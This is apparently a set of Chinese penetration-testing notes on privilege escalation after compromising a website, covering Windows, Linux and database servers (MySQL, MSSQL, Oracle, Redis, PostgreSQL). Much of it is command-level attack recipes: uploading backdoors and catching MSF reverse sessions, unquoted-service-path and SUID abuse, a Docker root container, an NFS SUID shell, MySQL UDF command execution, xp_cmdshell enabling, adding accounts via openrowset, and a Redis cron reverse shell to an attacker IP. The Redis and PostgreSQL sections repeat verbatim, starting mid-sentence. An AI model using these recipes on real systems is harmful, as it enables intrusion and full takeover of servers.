权限提升
附上小迪的图
提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限
提权,顾名思义就是提高自己在服务器中的权限 ,比如在windows中本身登录的用户时guest,然后通过提权后就变成超级管理员(adminstrator),拥有了管理windwos的所有权限
在Windwos中,权限大概分为四种,分别是Users、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接收到的是前三种,下面我们对这几种权限进行分析:
- Users:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
- Administrator:管理员权限,可以利用Windows的机制将自己提升为System权限,以便操作SAM文件等。
- System:系统权限,可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
- TrustedInstaller:Windows中的最高权限,对系统文件,即使拥有System权限也无法修改,只有拥有TrustedInstaller权限才可以修改系统文件。
低级别权限将使得渗透测试受到很多限制,因此,在渗透测试中,熟悉提权操作对渗透测试工作有很大的帮助,提升权限的方式分为以下两类:
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个Webshell权限通过提权,拥有了管理员权限,这种权限就是纵向提权,也称为权限升级。
- 横向提权:获得同级别角色的权限。例如,在系统A中获得了系统B的权限,就称为横向提权。
windows提权
常用系统命令
systeminfo #系统信息
whoami #当前用户名
whoami /priv #当前用户权限
ipconfig #网络配置信息
ipconfig /displaydns #显示dns缓存
route print #打印路由表
arp -a #打印arp表
hostname #主机名
net user #打印用户列表
net user UserName #关于用户信息
net use \SMBPATH Pa$$w0rd /u:UserName #连接smb
net localgroup #列出所有组
net localgroup GROUP #关于指定组的信息
net view \127.0.0.1 #会话打开到当前计算机
net session #开放给其他计算机
netsh firewall show config #显示防火墙配置 Tasklist /svc #列出服务任务
net start #列出启动的服务
dir /s foo #在目录中搜索指定字符的项
dir /s too==bar #同上
sc query #列出所有服务
sc qc ServiceName #找到指定服务的路径
shutdown /r /t 0 #重启
type file.txt #打印出文件内容
lcacls "C\Example" #列出权限
Wmic qfe get Caption,Description,HotFixID,InstalledOn #列出安装的补丁
溢出提权
利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序
获取网站权限后,我们仅仅只能对网站操作,无法对服务器进行操作,需要对服务器进行提权,获取到更高权限。
案例演示
1.上传后门文件,获取到webshell权限
2.在web权限提升中,最常用的是溢出漏洞提权,用cmd去执行文件进行提权,从下图可以清晰的看到我们在webshell看到的权限和服务器上看到的权限是不一样的。
3.利用systeminfo进行信息收集,一般关注操作系统版本,打过的补丁编号。
4.获取到补丁编号后,我们要进行补丁筛选,推荐两个优秀项目:wesng , windowsVulnScan。将上面收集到的信息保存到1.txt中,利用wesng进行补丁筛选
5.执行完后会将可能存在的漏洞保存在vuln.csv中
6.利用MSF或特定EXP进行提权(msf要搭建在外网,才能将会话反弹到本机,内网不能反弹)生成一个5577.exe后门,webshell执行该后门,反弹的端口号为5577
7.设置监听端口为5577
8.端口反弹的权限为web权限
9.利用wesng中收集到的漏洞编号,进行模块利用,并且设置反弹端口,此时的端口号应该与前面的不同,这个端口反弹的权限为提权后的权限,并且监听的回话为3,与上面的会话对应
10.成功反弹system权限
总结
权限提升流程:信息收集-补丁筛选-利用MSF或特定EXP-西瓜到手
漏洞库推荐:Wes、WindowsVulnScan
Wes和WindowsVulnScan是python脚本,可以不借助PowerShell操作,适用于web提权
有些漏洞可能只适应于本地环境提权,不适用于web环境提权
有些提权方法借助系统上的设计,逻辑上的问题来实现,并不总是依靠漏洞。
wes:https://github.com/bitsadmin/wesng
使用“Wes”进行补丁筛选:下载,在cmd执行命令“python.exe wes.py systeminfo.txt -o vuln.csv”,即对比“systeminfo”文件并将结果输出,其中“-o”是输出,可以将结果输出为“csv”“txt”等格式,输出的结果是可能存在的漏洞等,第一次使用会要求下载两个文件(漏洞库)
vulnscan:https://github.com/chroblert/WindowsVulnScan
使用“WindowsVulnScan”进行补丁筛选:
下载,在cmd执行命令“python.exe WindowsVulnScan-master/cve-check.py”可以看到程序说明,使用“-u”“-U”分别更新CVE和EXP信息
将“KBCollect.ps1”放到放到对方的服务器上运行,获得“KB.json”,也可以自行复制“systeminfo”的信息并修改成其需要的格式
cmd执行“python.exe WindowsVulnScan-master/cve-check.py -C -f KB.json”,如果出现错误提示将KB.json的编码格式转换为UTF-8编码即可
Win2012-不安全的服务权限配合 MSF-本地
需要本地权限
简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)
就不细讲了
Win2012-不带引号服务路径配合 MSF-Web,本地
比较被动,且不常见
原理:Windows下服务的权限通常为system,将目标服务的启动程序替换为恶意程序,实现提权
无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。例如 C:\Program Files\floder1\service.exe
如果存在空格,windows在启动服务找寻服务启动项时,会按照以下顺序就行启动项寻找
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。
用以下命令来搜索哪些服务路径没有包含引号
meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。
msf:
#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
#msf攻击模块
exploit/windows/local/trusted_service_path
#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
AT&SC&PS命令
前提已经获得计算机的平台用户权限,比较老的计算机系统,win7之前的系统,以win2003为例
AT
打开CMD添加一项计划任务,在15:13打开一个cmd窗口,时间可以自由设置,发现打开的窗口是system权限
at 15:13 /interactive cmd.exe
win7以上版本已失效
SC
创建一个名叫“syscmd”的服务,运行它
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
发现得到的cmd窗口是system权限
这是一个逻辑错误,只针对Win7之前的系统
win7以上版本失效
PS
下载微软官方的PsTools工具包,在下载的文件夹下执行下面的命令
psexec.exe -accepteula -s -i -d cmd.exe
发现得到的cmd窗口是system权限
linux提权
信息收集
系统命令
内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
lsb_release -a 发行版信息
cat /proc/version 内核信息
cat /etc/*-release 发行版信息
cat /etc/issue 发行版信息
cat /proc/cpuinfo CPU信息
用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
groups 当前用户所在的组
groups test test用户所在的组
getent group xxx xxx组里的用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
用户和权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
环境信息
env 显示环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
LINENUM.SH(本地LINUX枚举和提权辅助脚本)
项目地址:https://github.com/rebootuser/LinEnum
脚本简介
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。
一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!
chmod +x /tmp/LinEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
linux-exploit-suggester2.sh
项目地址:https://github.com/jondonas/linux-exploit-suggester-2
内核漏洞提权
内核漏洞是我们几乎最先想到的提权方法。
我们可以使用kali的searchsploit寻找对应的内核漏洞或网上寻找相应的内核漏洞
searchsploit linux 内核版本 //exp网上自己找
gcc 45010.c -o 45010 //编译成可执行文件
chmod +x 45010
./45010
使用gcc将C语言程序编译成可执行文件,上传至靶机,执行即可提权至root权限
SUID 提权
SUID是对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有宿主的权限,若是对一些特殊命令设置了SUID,存在被提权的风险。常见的SUID提权命令有vim,find,bash,more,less等
标记:当 s 标志出现在文件拥有者的 x 权限 上时,就被为SUID的特殊权限
SUID 权限对于一个文件的特殊功能如下:
SUID 权限仅对二进制程序( binary program) 有效
执行者对于该程序需要具有 x 的可执行权限
本权限仅在执行该程序的过程中有效 ( run-time)
执行者将具有该程序拥有者 ( owner) 的权限
举个例子:
9 8 7 6 5 4 3 2 1 0
- r w s r - x r - x
第8-6位、5-3位、2-0位分别表示文件所有者的权限,同组用户的权限,其他用户的权限。
x表示可执行,w表示可写,r表示可读,例中8-6位文件所有者权限的x被s标记替换,为SUID权限,当文件所有者为root,普通账户在使用这个命令的时候会暂时获得其拥有者(root)的权限。
常见Linux中root文件列表如下
nmap
vim
find
bash
more
less
nano
cp
也可用命令查找设置了SUID的权限文件
find / -user root -perm -4000 -exec ls -l {} \;
存在sudo,su,pkexec命令被设置了SUID权限,存在pkexec漏洞提权
pkexec whoami
计划任务提权
linux的计划任务提权与windows的思路一致,查找权限配置不当的计划任务,前提条件是执行的某个计划任务以root身份运行,并且此计划任务可以被低权限用户编辑。
列出计划任务
ls -l /etc/cron*
cat /etc/crontab
环境变量提权
请参考:https://www.freebuf.com/articles/system/173903.html
第三方服务提权
当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。
netstat -antup
该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务
ps -aux | grep root
该命令可以显示以root用户身份运行的服务
Docker 组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
docker组内用户执行如下命令,即可获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
#参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS
这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
NFS提权
当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
①查看NFS服务器上的共享目录
sudo showmount -e x.x.x.x
②创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
sudo mkdir -p /tmp
sudo mount -t nfs x.x.x.x:/home/test /tmp
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
③回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。
数据库提权
①UDF提权
②MOF提权
③启动项提权
⑤反弹shell提权
数据库提权
mysql
UDF提权
UDF就是User Defined Functions,通俗来讲就是用户可 自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用 提权脚本放到对方 mysql指定的目录下, 运用脚本创建自定义函数, 使用函数即可获取shell权限。
而提权脚本怎么拿呢?
sqlmap相信很多同学都有,在sqlmap\data\udf\mysql\windows路径下就有32位和64位的这个提权脚本,如下
每个文件夹下都是一个dll文件,这个文件就是加密过的提权脚本
下面就给大家来演示一下详细步骤,如下
1、准备提权脚本
我们讲了上面那个就是加密过的提权脚本,因为sqlmap怕这个提权脚本被查杀,所以进行了加密,我们要用的时候再用sqlmap自带的解密文件解密就行
解密步骤如下
选择指定版本(32位或者64位)的加密脚本文件
复制选择好的脚本文件(dll_文件)到sqlamp/extra/cloak
在这里打开cmd执行以下命令进行解密
python cloak.py -d -i lib_mysqludf_sys.dll_
解密后就会生成的一个dll文件
这就是我们要使用的提权脚本
2、上传到利用目录
在mysql<5.1 他的udf利用目录是在 c:/windows或者 system32
在mysql=>5.1 他的udf利用目录是在 /lib/plugin //没有这个目录 需要自己创建
再把刚才的提权脚本上传到该目录下
3、执行恶意命令
连接目标数据库执行以下命令
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
如果执行成功,即结果为true就说明没问题,然后就可以使用下面的格式执行命令
select sys_eval("要执行的命令");
我们得到了administrator权限,因为部署数据库时就是使用admin权限来部署的,如果部署数据库是system权限,那么拿到的也会是system权限
MOF提权
MOF提权适用于2003server
条件:数据库开启了 ***允许导入导出***的配置
过于鸡肋
启动项提权
条件:
1、数据库开启了写入文件的配置
2、数据库允许外连
利用也比较简单,就是*利用mysql写入恶意木马到启动项目录*,当用户启动系统时就会自动加载素有启动项内容,自然也就执行了我们的恶意程序,拿到权限
注意:windows server 启动项目录 C:/programdata/microsoft/windows/start menu/programs/startup/
Msf对应利用模块: exploit/windows/mysql/mysql_start_up
反弹shell
和UDF一样,用nc反弹shell命令即可
就是先做一个反弹shell的php脚本文件,上传后执行,再用nc监听反弹的权限,很简单
mssql
xp_cmdsheel
sql server 2000 版本是默认开启了xp_cmdshell
在sql server 2005之后的版本就是默认禁止。这个时候就需要 管理员权限才能开启
xp_cmdshell可以理解为sql server的一个函数,使用步骤如下
开启xp_cmdshell
操作数据库执行以下命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
现在已经拿到权限了,直接按如下格式执行命令即可
exec master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
sp_oacreate
sp_oacreate和上面的xp_cmdshell没啥区别,都可以理解为函数
打开
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'
页面没有回显,结果在c盘下的1.txt中。
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
沙盒模式
参考资料:https://blog.51cto.com/11797152/2411770
提权命令
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行 xp_regwrite 会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
执行系统命令,创建zhaosiyv用户,密码为zhaosiyv
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user zhaosiyv zhaosiyv /add")')
已经有zhaosiyv用户了,而zhaosiyv用户的权限也是高权限
Oracle
oracle数据库一般配合jsp建站,jsp网站后门不需要提权,自带system权限
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
(JSP网站不需要提权,自带system权限)
oracle提权的话有一款专门的工具,就是oracleshell这款工具,工具也用百度网盘给大家打包了,链接如下
链接:https://pan.baidu.com/s/19z31o7t_rEtu_vGeNLf2kg
提取码:4444
有普通,dba,注入三种,选择自己获得的权限,输入ip,用户名,密码,端口等直接连接就可以了,非常方便
redis
这个一般是用计划任务反弹shell来进行提权操作,按照如下步骤输入命令即可
Redis在默认情况会将服务绑定在6379端口上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写等操作。
连接对方的redis
redis-cli.exe -h 192.168.163.131 -p 6379
另外用一个自己的服务器来监听本地的端口
msf和nc皆可
建立计划任务(ip为自己的ip,端口为接收权限的端口)
set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.163.111/6666 0<&1 2>&1\n”
将计划任务放到定时任务下
config set dir /var/spool/cron/
设置以root用户的身份执行该任务
config set dbfilename root
保存
save
PostgreSQL
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁
**数据库提权方式尽量是在其他提权方式无果后再进行尝试 **
骤输入命令即可
Redis在默认情况会将服务绑定在6379端口上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写等操作。
连接对方的redis
redis-cli.exe -h 192.168.163.131 -p 6379
另外用一个自己的服务器来监听本地的端口
msf和nc皆可
建立计划任务(ip为自己的ip,端口为接收权限的端口)
set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.163.111/6666 0<&1 2>&1\n”
将计划任务放到定时任务下
config set dir /var/spool/cron/
设置以root用户的身份执行该任务
config set dbfilename root
保存
save
PostgreSQL
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁
**数据库提权方式尽量是在其他提权方式无果后再进行尝试 **